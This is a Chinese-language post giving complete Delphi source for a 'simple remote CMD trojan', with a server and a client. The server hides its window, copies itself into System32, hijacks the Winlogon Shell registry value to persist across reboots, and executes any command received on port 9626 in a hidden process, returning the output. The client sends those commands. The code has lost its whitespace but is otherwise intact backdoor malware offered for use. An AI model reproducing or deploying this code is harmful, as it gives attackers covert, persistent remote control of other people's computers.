Delphi写简单远程CMD木马程序跟传统木马一样，分服务端和客户端。运行服务端后会复制自身到SYSTEM32目录下面，并在注册表添加一自动行启动项，打开本机9626端口开始等待接收客户端的数据。当接收到客户端数据时就当作CMD命令去执行，最后把回显传送回客户端。客户端很简单，跟服务端连接成功后，输入命令点执行，正常的话可以收到服务端的执行结果了。源码如下：////Server.pas//////////////unitUtMain;//////////////////////////////////////////////BYlanyus////////////////////////Email:greathjw@163////////////QQ:231221///////////////////部分代码从网上收集///////////////////////////////////////////interfaceusesWindows,Messages,SysUtils,Variants,Classes,Graphics,Controls,Forms,Dialogs,Registry,ScktComp,StdCtrls;typeTFmMain=class(TForm)SS:TServerSocket;Memo1:TMemo;procedureFormCreate(Sender:TObject);procedureSSAccept(Sender:TObject;Socket:TCustomWinSocket);procedureSSClientRead(Sender:TObject;Socket:TCustomWinSocket);private{Privatedeclarations}public{Publicdeclarations}end;varFmMain:TFmMain;reg:TRegistry;implementation{$R*.dfm}procedureTFmMain.FormCreate(Sender:TObject);varsysdir:array[0..50]ofchar;beginApplication.ShowMainForm:=False;FmMain.Left:=-200;//运行不显示窗口reg:=TRegistry.Create;reg.RootKey:=HKEY_LOCAL_MACHINE;reg.OpenKey('SoftWare\Microsoft\WindowsNT\CurrentVersion\Winlogon',true);ifreg.ReadString('Shell')<>'Explorer.exeLysvr.exe'thenreg.WriteString('Shell','Explorer.exeLysvr.exe');//建立开机启动项reg.Free;GetSystemDirectory(sysdir,50);ifnotFileExists(sysdir+'\Lysvr.exe')thencopyfile(Pchar(Application.exeName),pchar(sysdir+'\Lysvr.exe'),true);SS.Port:=9626;trySS.Active:=True;exceptend;end;procedureTFmMain.SSAccept(Sender:TObject;Socket:TCustomWinSocket);beginSocket.SendText('连接成功');//发现有连接时回传‘连接成功’end;procedureTFmMain.SSClientRead(Sender:TObject;Socket:TCustomWinSocket);varRemoteCmd:string;hReadPipe,hWritePipe:THandle;si:STARTUPINFO;lsa:SECURITY_ATTRIBUTES;piROCESS_INFORMATION;cchReadBufferWORD;phChar;fnameChar;res:string;beginMemo1.Clear;remotecmd:=Socket.ReceiveText;fname:=allocmem(255);ph:=AllocMem(5000);lsa.nLength:=sizeof(SECURITY_ATTRIBUTES);lsa.lpSecurityDescriptor:=nil;lsa.bInheritHandle:=True;ifCreatePipe(hReadPipe,hWritePipe,@lsa,0)=falsethenbeginsocket.SendText('不能创建管道');exit;end;fillchar(si,sizeof(STARTUPINFO),0);si.cb:=sizeof(STARTUPINFO);si.dwFlags:=(STARTF_USESTDHANDLESorSTARTF_USESHOWWINDOW);si.wShowWindow:=SW_HIDE;si.hStdOutput:=hWritePipe;StrPCopy(fname,remotecmd);/////执行CMD命令////ifCreateProcess(nil,fname,nil,nil,true,0,nil,nil,si,pi)=Falsethenbeginsocket.SendText('不能创建进程');FreeMem(ph);FreeMem(fname);Exit;end;while(true)dobeginifnotPeekNamedPipe(hReadPipe,ph,1,@cchReadBuffer,nil,nil)thenbreak;ifcchReadBuffer<>0thenbeginifReadFile(hReadPipe,ph^,4096,cchReadBuffer,nil)=falsethenbreak;ph[cchReadbuffer]:=chr(0);Memo1.Lines.Add(ph);endelseif(WaitForSingleObject(pi.hProcess,0)=WAIT_OBJECT_0)thenbreak;Sleep(100);end;ph[cchReadBuffer]:=chr(0);Memo1.Lines.Add(ph);//memo接收回显CloseHandle(hReadPipe);CloseHandle(pi.hThread);CloseHandle(pi.hProcess);CloseHandle(hWritePipe);FreeMem(ph);FreeMem(fname);socket.SendText(Memo1.Text);///将回显发送回客户端end;end./////////////////////////////////////////////////////////////////////////////////////////////////客户端/////////////////////unitUtMain;//////////////////////////////////////////////BYlanyus////////////////////////Email:greathjw@163////////////QQ:231221////////////////////////////////////////////////interfaceusesWindows,Messages,SysUtils,Variants,Classes,Graphics,Controls,Forms,Dialogs,OleCtrls,SHDocVw,StdCtrls,IdBaseComponent,IdComponent,IdUDPBase,IdUDPServer,Buttons,TLHelp32,ScktComp;typeTFmMain=class(TForm)WebBrowser1:TWebBrowser;Label3:TLabel;Edit2:TEdit;Label4:TLabel;Edit3:TEdit;Button2:TButton;CS:TClientSocket;Edit4:TEdit;Label5:TLabel;Memo1:TMemo;BitBtn2:TBitBtn;procedureButton2Click(Sender:TObject);procedureCSRead(Sender:TObject;Socket:TCustomWinSocket);procedureBitBtn2Click(Sender:TObject);private{Privatedeclarations}public{Publicdeclarations}end;varFmMain:TFmMain;implementation{$R*.dfm}procedureTFmMain.Button2Click(Sender:TObject);beginCS.Host:=Edit2.Text;CS.Port:=StrToInt(Edit3.Text);CS.Open;end;procedureTFmMain.CSRead(Sender:TObject;Socket:TCustomWinSocket);beginMemo1.Clear;Memo1.Lines.Add(Socket.ReceiveText);Memo1.Lines.Add('');end;procedureTFmMain.BitBtn2Click(Sender:TObject);beginCS.Socket.SendText(edit4.Text);end;end.